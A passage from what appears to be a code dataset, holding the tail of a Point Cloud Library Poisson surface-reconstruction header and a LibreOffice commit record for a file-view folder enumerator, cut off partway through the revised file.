INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n *  BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n *  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n *  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n *  LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n *  ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n *  POSSIBILITY OF SUCH DAMAGE.\n *\n * $Id$\n *\n *\/\n\n#ifndef PCL_SURFACE_IMPL_POISSON_H_\n#define PCL_SURFACE_IMPL_POISSON_H_\n\n#include \"pcl\/surface\/poisson.h\"\n#include <pcl\/common\/common.h>\n#include <pcl\/common\/vector_average.h>\n#include <pcl\/Vertices.h>\n\n#include \"pcl\/surface\/poisson\/octree.h\"\n#include \"pcl\/surface\/poisson\/sparse_matrix.h\"\n#include \"pcl\/surface\/poisson\/function_data.h\"\n#include \"pcl\/surface\/poisson\/ppolynomial.h\"\n#include \"pcl\/surface\/poisson\/multi_grid_octree_data.h\"\n\n#define MEMORY_ALLOCATOR_BLOCK_SIZE 1<<12\n\n#include <stdarg.h>\n#include <string>\n\nusing namespace pcl::surface::poisson;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ntemplate <typename PointNT>\npcl::Poisson<PointNT>::Poisson ()\n  : no_reset_samples_ (false),\n    no_clip_tree_ (false),\n    confidence_ (false),\n    manifold_ (false),\n    depth_ (10),\n    solver_divide_ (8),\n    iso_divide_ (8),\n    refine_ (3),\n    kernel_depth_ (8),\n    degree_ (2),\n    samples_per_node_ (1.0),\n    scale_ (1.25)\n{\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ntemplate <typename PointNT>\npcl::Poisson<PointNT>::~Poisson ()\n{\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ntemplate <typename PointNT> template <int Degree> void\npcl::Poisson<PointNT>::execute (CoredMeshData &mesh,\n                                Point3D<float> &center)\n{\n  float scale = 1;\n  \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n  \/\/ Fix courtesy of David Gallup \/\/\n  \/\/ TreeNodeData::UseIndex = 1;  \/\/\n  \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n  Octree<Degree> tree;\n  PPolynomial<Degree> ReconstructionFunction = PPolynomial<Degree>::GaussianApproximation ();\n\n  center.coords[0] = center.coords[1] = center.coords[2] = 0;\n\n  TreeOctNode::SetAllocator (MEMORY_ALLOCATOR_BLOCK_SIZE);\n\n  int kernel_depth=depth_-2;\n  tree.setFunctionData (ReconstructionFunction, depth_, 0, float (1.0) \/ (1<<depth_));\n\n  tree.setTree (input_, depth_, kernel_depth, float(samples_per_node_), scale_, center, scale, !no_reset_samples_, confidence_);\n\n  if (!no_clip_tree_)\n    tree.ClipTree ();\n\n  tree.finalize1 (refine_);\n  tree.SetLaplacianWeights ();\n  tree.finalize2 (refine_);\n\n  tree.LaplacianMatrixIteration (solver_divide_);\n\n  float isoValue=tree.GetIsoValue ();\n\n  if (iso_divide_)\n    tree.GetMCIsoTriangles (isoValue, iso_divide_, &mesh, 0, 1, manifold_);\n  else\n    tree.GetMCIsoTriangles (isoValue, &mesh, 0, 1, manifold_);\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ntemplate <typename PointNT> void\npcl::Poisson<PointNT>::performReconstruction (PolygonMesh &output)\n{\n  CoredVectorMeshData mesh;\n  Point3D<float> center;\n\n  switch (degree_)\n  {\n    case 1:\n    {\n      execute<1> (mesh, center);\n      break;\n    }\n    case 2:\n    {\n      execute<2> (mesh, center);\n      break;\n    }\n    case 3:\n    {\n      execute<3> (mesh, center);\n      break;\n    }\n    case 4:\n    {\n      execute<4> (mesh, center);\n      break;\n    }\n    case 5:\n    {\n      execute<5> (mesh, center);\n      break;\n    }\n    default:\n    {\n      PCL_ERROR (stderr, \"Degree %d not supported\\n\", degree_);\n    }\n  }\n\n  \/\/\/ Write output PolygonMesh\n  float scale = 1;\n\n  \/\/ write vertices\n  pcl::PointCloud < pcl::PointXYZ > cloud;\n  cloud.points.resize (int (mesh.outOfCorePointCount () + mesh.inCorePoints.size ()));\n  Point3D<float> p;\n  for (int i = 0; i < int (mesh.inCorePoints.size ()); i++)\n  {\n    p = mesh.inCorePoints[i];\n    cloud.points[i].x = p.coords[0]*scale+center.coords[0];\n    cloud.points[i].y = p.coords[1]*scale+center.coords[1];\n    cloud.points[i].z = p.coords[2]*scale+center.coords[2];\n  }\n  for (int i = int (mesh.inCorePoints.size ()); i < int (mesh.outOfCorePointCount () + mesh.inCorePoints.size ()); i++)\n  {\n    mesh.nextOutOfCorePoint (p);\n    cloud.points[i].x = p.coords[0]*scale+center.coords[0];\n    cloud.points[i].y = p.coords[1]*scale+center.coords[1];\n    cloud.points[i].z = p.coords[2]*scale+center.coords[2];\n  }\n  pcl::toROSMsg (cloud, output.cloud);\n  output.polygons.resize (mesh.triangleCount ());\n\n  \/\/ Write faces\n  TriangleIndex tIndex;\n  int inCoreFlag;\n  for (int i = 0; i < mesh.triangleCount (); i++)\n  {\n    \/\/ Create and fill a struct that the ply code can handle\n    pcl::Vertices v;\n    v.vertices.resize (3);\n\n    mesh.nextTriangle (tIndex,inCoreFlag);\n    if (!(inCoreFlag & CoredMeshData::IN_CORE_FLAG[0]))\n      tIndex.idx[0] += int(mesh.inCorePoints.size ());\n    if (!(inCoreFlag & CoredMeshData::IN_CORE_FLAG[1]))\n      tIndex.idx[1] += int(mesh.inCorePoints.size ());\n    if (!(inCoreFlag & CoredMeshData::IN_CORE_FLAG[2]))\n      tIndex.idx[2] += int(mesh.inCorePoints.size ());\n\n    for (int j = 0; j < 3; j++)\n      v.vertices[j] = tIndex.idx[j];\n    output.polygons[i] = v;\n  }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ntemplate <typename PointNT> void\npcl::Poisson<PointNT>::performReconstruction (pcl::PointCloud<PointNT> &points,\n                                              std::vector<pcl::Vertices> &polygons)\n{\n  CoredVectorMeshData mesh;\n  Point3D<float> center;\n\n  switch (degree_)\n  {\n    case 1:\n    {\n      execute<1> (mesh, center);\n      break;\n    }\n    case 2:\n    {\n      execute<2> (mesh, center);\n      break;\n    }\n    case 3:\n    {\n      execute<3> (mesh, center);\n      break;\n    }\n    case 4:\n    {\n      execute<4> (mesh, center);\n      break;\n    }\n    case 5:\n    {\n      execute<5> (mesh, center);\n      break;\n    }\n    default:\n    {\n      PCL_ERROR (stderr, \"Degree %d not supported\\n\", degree_);\n    }\n  }\n\n  \/\/\/ Write output PolygonMesh\n  float scale = 1;\n  \/\/ write vertices\n  points.points.resize (int (mesh.outOfCorePointCount () + mesh.inCorePoints.size ()));\n  Point3D<float> p;\n  for (int i = 0; i < int(mesh.inCorePoints.size ()); i++)\n  {\n    p = mesh.inCorePoints[i];\n    points.points[i].x = p.coords[0]*scale+center.coords[0];\n    points.points[i].y = p.coords[1]*scale+center.coords[1];\n    points.points[i].z = p.coords[2]*scale+center.coords[2];\n  }\n  for (int i = int(mesh.inCorePoints.size()); i < int (mesh.outOfCorePointCount() + mesh.inCorePoints.size ()); i++)\n  {\n    mesh.nextOutOfCorePoint (p);\n    points.points[i].x = p.coords[0]*scale+center.coords[0];\n    points.points[i].y = p.coords[1]*scale+center.coords[1];\n    points.points[i].z = p.coords[2]*scale+center.coords[2];\n  }\n\n  polygons.resize (mesh.triangleCount ());\n\n  \/\/ write faces\n  TriangleIndex tIndex;\n  int inCoreFlag;\n  for (int i = 0; i < mesh.triangleCount (); i++)\n  {\n    \/\/ create and fill a struct that the ply code can handle\n    pcl::Vertices v;\n    v.vertices.resize (3);\n \n    mesh.nextTriangle (tIndex,inCoreFlag);\n    if (!(inCoreFlag & CoredMeshData::IN_CORE_FLAG[0]))\n      tIndex.idx[0] += int(mesh.inCorePoints.size ());\n    if (!(inCoreFlag & CoredMeshData::IN_CORE_FLAG[1]))\n      tIndex.idx[1] += int(mesh.inCorePoints.size ());\n    if (!(inCoreFlag & CoredMeshData::IN_CORE_FLAG[2]))\n      tIndex.idx[2] += int(mesh.inCorePoints.size ());\n    for (int j = 0; j < 3; j++)\n      v.vertices[j] = tIndex.idx[j];\n    polygons[i] = v;\n  }\n}\n\n\n#define PCL_INSTANTIATE_Poisson(T) template class PCL_EXPORTS pcl::Poisson<T>;\n\n#endif    \/\/ PCL_SURFACE_IMPL_POISSON_H_\n\n<|endoftext|>"}
{"text":"<commit_before>\/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- *\/\n\/*\n * This file is part of the LibreOffice project.\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\n * This file incorporates work covered by the following license notice:\n *\n *   Licensed to the Apache Software Foundation (ASF) under one or more\n *   contributor license agreements. See the NOTICE file distributed\n *   with this work for additional information regarding copyright\n *   ownership. The ASF licenses this file to you under the Apache\n *   License, Version 2.0 (the \"License\"); you may not use this file\n *   except in compliance with the License. You may obtain a copy of\n *   the License at http:\/\/www.apache.org\/licenses\/LICENSE-2.0 .\n *\/\n\n#include \"contentenumeration.hxx\"\n#include <svtools\/inettbc.hxx>\n#include <svtools\/imagemgr.hxx>\n\n#include <com\/sun\/star\/beans\/XPropertySet.hpp>\n#include <com\/sun\/star\/sdbc\/XResultSet.hpp>\n#include <com\/sun\/star\/sdbc\/XRow.hpp>\n#include <com\/sun\/star\/ucb\/XDynamicResultSet.hpp>\n#include <com\/sun\/star\/ucb\/XContentAccess.hpp>\n#include <com\/sun\/star\/util\/DateTime.hpp>\n#include <com\/sun\/star\/lang\/XMultiServiceFactory.hpp>\n#include <com\/sun\/star\/document\/DocumentProperties.hpp>\n#include <comphelper\/processfactory.hxx>\n#include <tools\/debug.hxx>\n#include <vcl\/svapp.hxx>\n#include <osl\/mutex.hxx>\n\n#include <memory>\n\n\/\/........................................................................\nnamespace svt\n{\n\/\/........................................................................\n\n#define ROW_TITLE           1\n#define ROW_SIZE            2\n#define ROW_DATE_MOD        3\n#define ROW_DATE_CREATE     4\n#define ROW_IS_FOLDER       5\n#define ROW_TARGET_URL      6\n#define ROW_IS_HIDDEN       7\n#define ROW_IS_VOLUME       8\n#define ROW_IS_REMOTE       9\n#define ROW_IS_REMOVABLE    10\n#define ROW_IS_FLOPPY       11\n#define ROW_IS_COMPACTDISC  12\n\n#define CONVERT_DATETIME( aUnoDT, aToolsDT ) \\\n    aToolsDT = ::DateTime( Date( aUnoDT.Day, aUnoDT.Month, aUnoDT.Year ), \\\n                           Time( aUnoDT.Hours, aUnoDT.Minutes, aUnoDT.Seconds, aUnoDT.NanoSeconds ) );\n\n    using ::com::sun::star::uno::Reference;\n    using ::com::sun::star::uno::Sequence;\n    using ::com::sun::star::uno::Exception;\n    using ::com::sun::star::uno::UNO_QUERY;\n    using ::com::sun::star::uno::Any;\n    using ::com::sun::star::util::DateTime;\n    using ::com::sun::star::sdbc::XResultSet;\n    using ::com::sun::star::sdbc::XRow;\n    using ::com::sun::star::ucb::XDynamicResultSet;\n    using ::com::sun::star::ucb::CommandAbortedException;\n    using ::com::sun::star::ucb::XContentAccess;\n    using ::com::sun::star::ucb::XCommandEnvironment;\n    using ::com::sun::star::beans::XPropertySet;\n    using ::com::sun::star::beans::PropertyValue;\n    using ::com::sun::star::document::DocumentProperties;\n    using ::ucbhelper::ResultSetInclude;\n    using ::ucbhelper::INCLUDE_FOLDERS_AND_DOCUMENTS;\n\n    \/\/====================================================================\n    \/\/= FileViewContentEnumerator\n    \/\/====================================================================\n    \/\/--------------------------------------------------------------------\n    FileViewContentEnumerator::FileViewContentEnumerator(\n            const Reference< XCommandEnvironment >& _rxCommandEnv,\n            ContentData& _rContentToFill, ::osl::Mutex& _rContentMutex,\n            const IContentTitleTranslation* _pTranslator )\n        :Thread                  ( \"FileViewContentEnumerator\" )\n        ,m_rContent              ( _rContentToFill )\n        ,m_rContentMutex         ( _rContentMutex  )\n        ,m_xCommandEnv           ( _rxCommandEnv   )\n        ,m_pTranslator           ( _pTranslator    )\n        ,m_bCancelled            ( false           )\n        ,m_rBlackList            ( ::com::sun::star::uno::Sequence< OUString >() )\n    {\n    }\n\n    \/\/--------------------------------------------------------------------\n    FileViewContentEnumerator::~FileViewContentEnumerator()\n    {\n    }\n\n    \/\/--------------------------------------------------------------------\n    void FileViewContentEnumerator::cancel()\n    {\n        ::osl::MutexGuard aGuard( m_aMutex );\n        m_bCancelled = true;\n        m_pResultHandler = NULL;\n        m_pTranslator = NULL;\n        m_aFolder.aContent = ::ucbhelper::Content();\n        m_aFolder.sURL = \"\";\n    }\n\n    \/\/--------------------------------------------------------------------\n    EnumerationResult FileViewContentEnumerator::enumerateFolderContentSync(\n        const FolderDescriptor& _rFolder,\n        const ::com::sun::star::uno::Sequence< OUString >& rBlackList )\n    {\n        {\n            ::osl::MutexGuard aGuard( m_aMutex );\n            m_aFolder = _rFolder;\n            m_pResultHandler = NULL;\n            m_rBlackList = rBlackList;\n        }\n        return enumerateFolderContent();\n    }\n\n    \/\/--------------------------------------------------------------------\n    void FileViewContentEnumerator::enumerateFolderContent(\n        const FolderDescriptor& _rFolder, IEnumerationResultHandler* _pResultHandler )\n    {\n        ::osl::MutexGuard aGuard( m_aMutex );\n        m_aFolder = _rFolder;\n        m_pResultHandler = _pResultHandler;\n\n        OSL_ENSURE( m_aFolder.aContent.get().is() || !m_aFolder.sURL.isEmpty(),\n            \"FileViewContentEnumerator::enumerateFolderContent: invalid folder descriptor!\" );\n\n        launch();\n            \/\/TODO: a protocol is missing how to join with the launched thread\n            \/\/ before exit(3), to ensure the thread is no longer relying on any\n            \/\/ infrastructure while that infrastructure is being shut down in\n            \/\/ atexit handlers\n    }\n\n    \/\/--------------------------------------------------------------------\n    EnumerationResult FileViewContentEnumerator::enumerateFolderContent()\n    {\n        EnumerationResult eResult = ERROR;\n        try\n        {\n\n            Reference< XResultSet > xResultSet;\n            Sequence< OUString > aProps(12);\n\n            aProps[0] = OUString( \"Title\" );\n            aProps[1] = OUString( \"Size\" );\n            aProps[2] = OUString( \"DateModified\" );\n            aProps[3] = OUString( \"DateCreated\" );\n            aProps[4] = OUString( \"IsFolder\" );\n            aProps[5] = OUString( \"TargetURL\" );\n            aProps[6] = OUString( \"IsHidden\" );\n            aProps[7] = OUString( \"IsVolume\" );\n            aProps[8] = OUString( \"IsRemote\" );\n            aProps[9] = OUString( \"IsRemoveable\" );\n            aProps[10] = OUString( \"IsFloppy\" );\n            aProps[11] = OUString( \"IsCompactDisc\" );\n\n            Reference< XCommandEnvironment > xEnvironment;\n            try\n            {\n                FolderDescriptor aFolder;\n                {\n                    ::osl::MutexGuard aGuard( m_aMutex );\n                    aFolder = m_aFolder;\n                    xEnvironment = m_xCommandEnv;\n                }\n                if ( !aFolder.aContent.get().is() )\n                {\n                    aFolder.aContent = ::ucbhelper::Content( aFolder.sURL, xEnvironment, comphelper::getProcessComponentContext() );\n                    {\n                        ::osl::MutexGuard aGuard( m_aMutex );\n                        m_aFolder.aContent = aFolder.aContent;\n                    }\n                }\n\n                Reference< XDynamicResultSet > xDynResultSet;\n                ResultSetInclude eInclude = INCLUDE_FOLDERS_AND_DOCUMENTS;\n                xDynResultSet = aFolder.aContent.createDynamicCursor( aProps, eInclude );\n\n                if ( xDynResultSet.is() )\n                    xResultSet = xDynResultSet->getStaticResultSet();\n            }\n            catch( CommandAbortedException& )\n            {\n                SAL_WARN( \"svtools.contnr\", \"createCursor: CommandAbortedException\" );\n            }\n            catch( Exception& )\n            {\n            }\n\n            bool bCancelled = false;\n            if ( xResultSet.is() )\n            {\n                Reference< XRow > xRow( xResultSet, UNO_QUERY );\n                Reference< XContentAccess > xContentAccess( xResultSet, UNO_QUERY );\n\n                try\n                {\n                    SortingData_Impl* pData;\n                    DateTime aDT;\n\n                    while ( !bCancelled && xResultSet->next() )\n                    {\n                        sal_Bool bIsHidden = xRow->getBoolean( ROW_IS_HIDDEN );\n                        \/\/ don't show hidden files\n                        if ( !bIsHidden || xRow->wasNull() )\n                        {\n                            pData = NULL;\n\n                            aDT = xRow->getTimestamp( ROW_DATE_MOD );\n                            sal_Bool bContainsDate = !xRow->wasNull();\n                            if ( !bContainsDate )\n                            {\n                                aDT = xRow->getTimestamp( ROW_DATE_CREATE );\n                                bContainsDate = !xRow->wasNull();\n                            }\n\n                            OUString aContentURL = xContentAccess->queryContentIdentifierString();\n                            OUString aTargetURL = xRow->getString( ROW_TARGET_URL );\n                            sal_Bool bHasTargetURL = !xRow->wasNull() && !aTargetURL.isEmpty();\n\n                            OUString sRealURL = bHasTargetURL ? aTargetURL : aContentURL;\n\n                            \/\/ check for restrictions\n                            {\n                                ::osl::MutexGuard aGuard( m_aMutex );\n                                if ( \/* m_rBlackList.hasElements() && *\/ URLOnBlackList ( sRealURL ) )\n                                    continue;\n                            }\n\n                            pData = new SortingData_Impl;\n                            pData->maTargetURL = sRealURL;\n\n                            pData->mbIsFolder = xRow->getBoolean( ROW_IS_FOLDER ) && !xRow->wasNull();\n                            pData->mbIsVolume = xRow->getBoolean( ROW_IS_VOLUME ) && !xRow->wasNull();\n                            pData->mbIsRemote = xRow->getBoolean( ROW_IS_REMOTE ) && !xRow->wasNull();\n                            pData->mbIsRemoveable = xRow->getBoolean( ROW_IS_REMOVABLE ) && !xRow->wasNull();\n                            pData->mbIsFloppy = xRow->getBoolean( ROW_IS_FLOPPY ) && !xRow->wasNull();\n                            pData->mbIsCompactDisc = xRow->getBoolean( ROW_IS_COMPACTDISC ) && !xRow->wasNull();\n                            pData->SetNewTitle( xRow->getString( ROW_TITLE ) );\n                            pData->maSize = xRow->getLong( ROW_SIZE );\n\n                            if ( bHasTargetURL &&\n                                INetURLObject( aContentURL ).GetProtocol() == INET_PROT_VND_SUN_STAR_HIER )\n                            {\n                                ::ucbhelper::Content aCnt( aTargetURL, xEnvironment, comphelper::getProcessComponentContext() );\n                                try\n                                {\n                                aCnt.getPropertyValue(\"Size\") >>= pData->maSize;\n                                aCnt.getPropertyValue(\"DateModified\") >>= aDT;\n                                }\n                                catch (...) {}\n                            }\n\n                            if ( bContainsDate )\n                            {\n                                CONVERT_DATETIME( aDT, pData->maModDate );\n                            }\n\n                            if ( pData->mbIsFolder )\n                            {\n                                SolarMutexGuard aGuard;\n                                ::svtools::VolumeInfo aVolInfo( pData->mbIsVolume, pData->mbIsRemote,\n                                                                pData->mbIsRemoveable, pData->mbIsFloppy,\n                                                                pData->mbIsCompactDisc );\n                                pData->maType = SvFileInformationManager::GetFolderDescription( aVolInfo );\n                            }\n                            else\n                                pData->maType = SvFileInformationManager::GetFileDescription(\n                                    INetURLObject( pData->maTargetURL ) );\n\n                            \/\/ replace names on demand\n                            {\n                                ::osl::MutexGuard aGuard( m_aMutex );\n                                if( m_pTranslator )\n                                {\n                                    OUString sNewTitle;\n                                    sal_Bool bTranslated = sal_False;\n\n                                    if ( pData->mbIsFolder )\n                                        bTranslated = m_pTranslator->GetTranslation( pData->GetTitle(), sNewTitle );\n                                    else\n                                        bTranslated = implGetDocTitle( pData->maTargetURL, sNewTitle );\n\n                                    if ( bTranslated )\n                                        pData->ChangeTitle( sNewTitle );\n                                }\n                            }\n\n                            {\n                                ::osl::MutexGuard aGuard( m_rContentMutex );\n                                m_rContent.push_back( pData );\n                            }\n                        }\n\n                        {\n                            ::osl::MutexGuard aGuard( m_aMutex );\n                            bCancelled = m_bCancelled;\n                        }\n                    }\n                    eResult = SUCCESS;\n                }\n                catch( CommandAbortedException& )\n                {\n                    SAL_WARN( \"svtools.contnr\", \"FileViewContentEnumerator::enumerateFolderContent: caught an CommandAbortedException while enumerating!\" );\n                }\n                catch( Exception& )\n                {\n                    SAL_WARN( \"svtools.contnr\", \"FileViewContentEnumerator::enumerateFolderContent: caught an exception other than CommandAbortedException while enumerating!\" );\n                }\n            }\n        }\n        catch( CommandAbortedException& )\n        {\n            SAL_WARN( \"svtools.contnr\", \"FileViewContentEnumerator::enumerateFolderContent: caught an CommandAbortedException!\" );\n        }\n        catch( Exception& )\n        {\n            SAL_WARN( \"svtools.contnr\", \"FileViewContentEnumerator::enumerateFolderContent: caught an exception other than CommandAbortedException!\" );\n        }\n\n        IEnumerationResultHandler* pHandler = NULL;\n        {\n            ::osl::MutexGuard aGuard( m_aMutex );\n            pHandler = m_pResultHandler;\n            if ( m_bCancelled )\n                return ERROR;\n        }\n\n        {\n            ::osl::MutexGuard aGuard( m_rContentMutex );\n            if ( eResult != SUCCESS )\n                \/\/ clear any \"intermediate\" and unfinished result\n                m_rContent.clear();\n        }\n\n        if ( pHandler )\n            pHandler->enumerationDone( eResult );\n        return eResult;\n    }\n\n    \/\/--------------------------------------------------------------------\n\n    sal_Bool FileViewContentEnumerator::URLOnBlackList ( const OUString& sRealURL )\n    {\n        OUString entryName = sRealURL.copy( sRealURL.lastIndexOf( '\/' ) + 1 );\n\n        for (int i = 0; i < m_rBlackList.getLength() ; i++)\n        {\n            if ( entryName.equals(  m_rBlackList[i] ) )\n                return true;\n        }\n\n        return false;\n    }\n\n    \/\/--------------------------------------------------------------------\n    sal_Bool FileViewContentEnumerator::implGetDocTitle( const OUString& _rTargetURL, OUString& _rRet ) const\n    {\n        sal_Bool bRet = sal_False;\n\n        try\n        {\n            ::osl::MutexGuard aGuard( m_aMutex );\n            if (!m_xDocProps.is())\n            {\n                m_xDocProps.set(DocumentProperties::create(\n                            ::comphelper::getProcessComponentContext()));\n            }\n\n            assert(m_xDocProps.is());\n            if (!m_xDocProps.is())\n                return sal_False;\n\n            m_xDocProps->loadFromMedium(_rTargetURL, Sequence<PropertyValue>());\n\n            OUString const sTitle(m_xDocProps->getTitle());\n            if (!sTitle.isEmpty())\n            {\n                _rRet = sTitle;\n                bRet = sal_True;\n            }\n        }\n        catch ( const Exception& )\n        {\n        }\n\n        return bRet;\n    }\n\n    \/\/--------------------------------------------------------------------\n    void FileViewContentEnumerator::execute()\n    {\n        enumerateFolderContent();\n    }\n\n\/\/........................................................................\n} \/\/ namespace svt\n\/\/........................................................................\n\n\/* vim:set shiftwidth=4 softtabstop=4 expandtab: *\/\n<commit_msg>cppcheck: reduce scope<commit_after>\/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- *\/\n\/*\n * This file is part of the LibreOffice project.\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\n * This file incorporates work covered by the following license notice:\n *\n *   Licensed to the Apache Software Foundation (ASF) under one or more\n *   contributor license agreements. See the NOTICE file distributed\n *   with this work for additional information regarding copyright\n *   ownership. The ASF licenses this file to you under the Apache\n *   License, Version 2.0 (the \"License\"); you may not use this file\n *   except in compliance with the License. You may obtain a copy of\n *   the License at http:\/\/www.apache.org\/licenses\/LICENSE-2.0 .\n *\/\n\n#include \"contentenumeration.hxx\"\n#include <svtools\/inettbc.hxx>\n#include <svtools\/imagemgr.hxx>\n\n#include <com\/sun\/star\/beans\/XPropertySet.hpp>\n#include <com\/sun\/star\/sdbc\/XResultSet.hpp>\n#include <com\/sun\/star\/sdbc\/XRow.hpp>\n#include <com\/sun\/star\/ucb\/XDynamicResultSet.hpp>\n#include <com\/sun\/star\/ucb\/XContentAccess.hpp>\n#include <com\/sun\/star\/util\/DateTime.hpp>\n#include <com\/sun\/star\/lang\/XMultiServiceFactory.hpp>\n#include <com\/sun\/star\/document\/DocumentProperties.hpp>\n#include <comphelper\/processfactory.hxx>\n#include <tools\/debug.hxx>\n#include <vcl\/svapp.hxx>\n#include <osl\/mutex.hxx>\n\n#include <memory>\n\n\/\/........................................................................\nnamespace svt\n{\n\/\/........................................................................\n\n#define ROW_TITLE           1\n#define ROW_SIZE            2\n#define ROW_DATE_MOD        3\n#define ROW_DATE_CREATE     4\n#define ROW_IS_FOLDER       5\n#define ROW_TARGET_URL      6\n#define ROW_IS_HIDDEN       7\n#define ROW_IS_VOLUME       8\n#define ROW_IS_REMOTE       9\n#define ROW_IS_REMOVABLE    10\n#define ROW_IS_FLOPPY       11\n#define ROW_IS_COMPACTDISC  12\n\n#define CONVERT_DATETIME( aUnoDT, aToolsDT ) \\\n    aToolsDT = ::DateTime( Date( aUnoDT.Day, aUnoDT.Month, aUnoDT.Year ), \\\n                           Time( aUnoDT.Hours, aUnoDT.Minutes, aUnoDT.Seconds, aUnoDT.NanoSeconds ) );\n\n    using ::com::sun::star::uno::Reference;\n    using ::com::sun::star::uno::Sequence;\n    using ::com::sun::star::uno::Exception;\n    using ::com::sun::star::uno::UNO_QUERY;\n    using ::com::sun::star::uno::Any;\n    using ::com::sun::star::util::DateTime;\n    using ::com::sun::star::sdbc::XResultSet;\n    using ::com::sun::star::sdbc::XRow;\n    using ::com::sun::star::ucb::XDynamicResultSet;\n    using ::com::sun::star::ucb::CommandAbortedException;\n    using ::com::sun::star::ucb::XContentAccess;\n    using ::com::sun::star::ucb::XCommandEnvironment;\n    using ::com::sun::star::beans::XPropertySet;\n    using ::com::sun::star::beans::PropertyValue;\n    using ::com::sun::star::document::DocumentProperties;\n    using ::ucbhelper::ResultSetInclude;\n    using ::ucbhelper::INCLUDE_FOLDERS_AND_DOCUMENTS;\n\n    \/\/====================================================================\n    \/\/= FileViewContentEnumerator\n    \/\/====================================================================\n    \/\/--------------------------------------------------------------------\n    FileViewContentEnumerator::FileViewContentEnumerator(\n            const Reference< XCommandEnvironment >& _rxCommandEnv,\n            ContentData& _rContentToFill, ::osl::Mutex& _rContentMutex,\n            const IContentTitleTranslation* _pTranslator )\n        :Thread                  ( \"FileViewContentEnumerator\" )\n        ,m_rContent              ( _rContentToFill )\n        ,m_rContentMutex         ( _rContentMutex  )\n        ,m_xCommandEnv           ( _rxCommandEnv   )\n        ,m_pTranslator           ( _pTranslator    )\n        ,m_bCancelled            ( false           )\n        ,m_rBlackList            ( ::com::sun::star::uno::Sequence< OUString >() )\n    {\n    }\n\n    \/\/--------------------------------------------------------------------\n    FileViewContentEnumerator::~FileViewContentEnumerator()\n    {\n    }\n\n    \/\/--------------------------------------------------------------------\n    void FileViewContentEnumerator::cancel()\n    {\n        ::osl::MutexGuard aGuard( m_aMutex );\n        m_bCancelled = true;\n        m_pResultHandler = NULL;\n        m_pTranslator = NULL;\n        m_aFolder.aContent = ::ucbhelper::Content();\n        m_aFolder.sURL = \"\";\n    }\n\n    \/\/--------------------------------------------------------------------\n    EnumerationResult FileViewContentEnumerator::enumerateFolderContentSync(\n        const FolderDescriptor& _rFolder,\n        const ::com::sun::star::uno::Sequence< OUString >& rBlackList )\n    {\n        {\n            ::osl::MutexGuard aGuard( m_aMutex );\n            m_aFolder = _rFolder;\n            m_pResultHandler = NULL;\n            m_rBlackList = rBlackList;\n        }\n        return enumerateFolderContent();\n    }\n\n    \/\/--------------------------------------------------------------------\n    void FileViewContentEnumerator::enumerateFolderContent(\n        const FolderDescriptor& _rFolder, IEnumerationResultHandler* _pResultHandler )\n    {\n        ::osl::MutexGuard aGuard( m_aMutex );\n        m_aFolder = _rFolder;\n        m_pResultHandler = _pResultHandler;\n\n        OSL_ENSURE( m_aFolder.aContent.get().is() || !m_aFolder.sURL.isEmpty(),\n            \"FileViewContentEnumerator::enumerateFolderContent: invalid folder descriptor!\" );\n\n        launch();\n            \/\/TODO: a protocol is missing how to join with the launched thread\n            \/\/ before exit(3), to ensure the thread is no longer relying on any\n            \/\/ infrastructure while that infrastructure is being shut down in\n            \/\/ atexit handlers\n    }\n\n    \/\/--------------------------------------------------------------------\n    EnumerationResult 